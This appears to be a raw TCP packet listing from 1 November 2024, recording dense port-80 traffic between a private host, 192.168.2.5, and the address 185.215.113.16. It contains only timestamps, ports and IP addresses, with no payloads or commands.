Nov 1, 2024 05:02:13.402647018 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.402654886 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.402663946 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.402667999 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.402708054 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.402736902 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.403059006 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.403074980 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.403119087 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.403119087 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.403239965 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.403254032 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.403269053 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.403295040 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.403295040 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.403326035 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.403554916 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.403570890 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.403585911 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.403597116 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.403604031 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.403625965 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.403629065 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.403629065 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.403671026 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.403671026 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.404153109 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.404169083 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.404184103 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.404197931 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.404217005 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.404238939 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.448012114 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.448060989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.448076010 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.448121071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.448179007 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.448271990 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.448288918 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.448318005 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.448391914 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.487965107 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.488070011 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.488084078 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.488089085 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.488128901 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.488128901 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.488179922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.488195896 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.488229990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.488229990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.488399982 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.488446951 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.491480112 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.491538048 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.491559982 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.491569042 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.491573095 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.491607904 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.491736889 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.491753101 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.491766930 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.491795063 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.491795063 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.491818905 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.492023945 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.492075920 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.492175102 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.492189884 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.492222071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.492222071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.492403984 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.492456913 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.492468119 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.492487907 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.492501020 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.492516994 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.492518902 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.492518902 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.492535114 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.492547989 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.492574930 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.492574930 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.493000984 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.493046999 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.493155956 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.493169069 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.493191004 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.493196011 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.493208885 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.493215084 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.493223906 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.493230104 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.493240118 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.493242979 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.493256092 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.493272066 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.493275881 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.493275881 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.493295908 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.493309975 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494110107 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494148016 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494160891 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494175911 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494191885 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494200945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494200945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494210958 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494236946 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494236946 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494276047 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494545937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494561911 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494575977 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494589090 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494606972 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494606972 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494638920 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494638920 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494803905 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494844913 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494884014 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494899988 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494930029 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494946003 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494951010 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.494965076 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.494982004 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.495002985 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.495028019 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.520545959 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.520647049 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.520663023 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.520705938 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.520705938 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.520724058 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.520787954 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.520801067 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.520831108 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.520849943 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.520936966 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.520951033 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.520966053 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.520991087 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.521018982 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.521178007 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.521193027 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.521234989 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.521235943 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.521378040 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.521394014 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.521408081 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.521423101 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.521440983 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.521450043 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.521708965 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.521723032 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.521737099 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.521759033 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.521764994 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.521774054 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.521784067 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.521784067 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.521809101 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.522169113 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.522182941 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.522197008 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.522217989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.522232056 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.522232056 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.522233009 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.522264004 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.522298098 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.522639036 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.522654057 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.522669077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.522684097 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.522686958 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.522701025 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.522706985 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.522706985 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.522730112 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.522763014 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.523190975 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.523206949 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.523221970 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.523236036 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.523246050 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.523246050 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.523251057 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.523267984 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.523269892 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.523283005 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.523315907 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.523315907 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.523329973 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.567179918 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.567198038 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.567213058 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.567337036 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.567337036 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.567511082 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.567527056 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.567572117 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.567572117 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.607007980 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.607023954 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.607040882 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.607074022 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.607101917 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.607203007 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.607218027 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.607254028 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.607270002 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.607357979 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.607372046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.607414007 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.607414007 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.610734940 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.610796928 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.610830069 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.610841990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.610940933 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.610956907 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.610989094 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.611006021 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.611157894 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.611280918 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.611294031 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.611310005 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.611331940 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.611345053 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.611350060 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.611373901 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.611381054 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.611501932 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.611747026 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.611855030 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.611881971 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.611897945 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.611913919 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.611927986 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.611948013 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.611948013 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612010002 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612371922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612387896 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612404108 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612420082 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612420082 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612438917 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612442017 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612442017 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612488031 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612488031 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612870932 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612885952 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612901926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612916946 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612916946 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612934113 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612936974 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612953901 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612962008 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612962008 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612973928 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612987041 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.612991095 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.612991095 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.613029003 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.613029003 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.613554001 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.613569975 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.613584042 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.613599062 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.613606930 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.613606930 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.613615036 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.613641024 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.613641024 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.613653898 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.614049911 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.614065886 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.614082098 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.614098072 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.614098072 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.614113092 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.614114046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.614130020 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.614139080 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.614140034 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.614172935 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.614172935 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.614979029 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.614991903 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.615030050 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.615030050 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.640764952 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.640881062 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.640902996 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.640928030 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.640960932 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.640975952 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.641216993 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.641232014 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.641283989 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.641283989 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.641638041 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.641653061 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.641668081 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.641691923 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.641691923 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.641717911 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.641789913 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.641804934 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.641819000 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.641855001 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.641896009 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.641964912 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.641980886 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.641995907 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.642010927 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.642013073 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.642013073 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.642050982 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.642050982 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.642098904 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.642113924 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.642129898 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.642146111 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.642153978 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.642154932 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.642163992 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.642184019 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.642184019 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.642211914 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:13.642808914 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.642822981 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:13.642836094 CET	80	59827	185.215.113.16	192.168.2.5
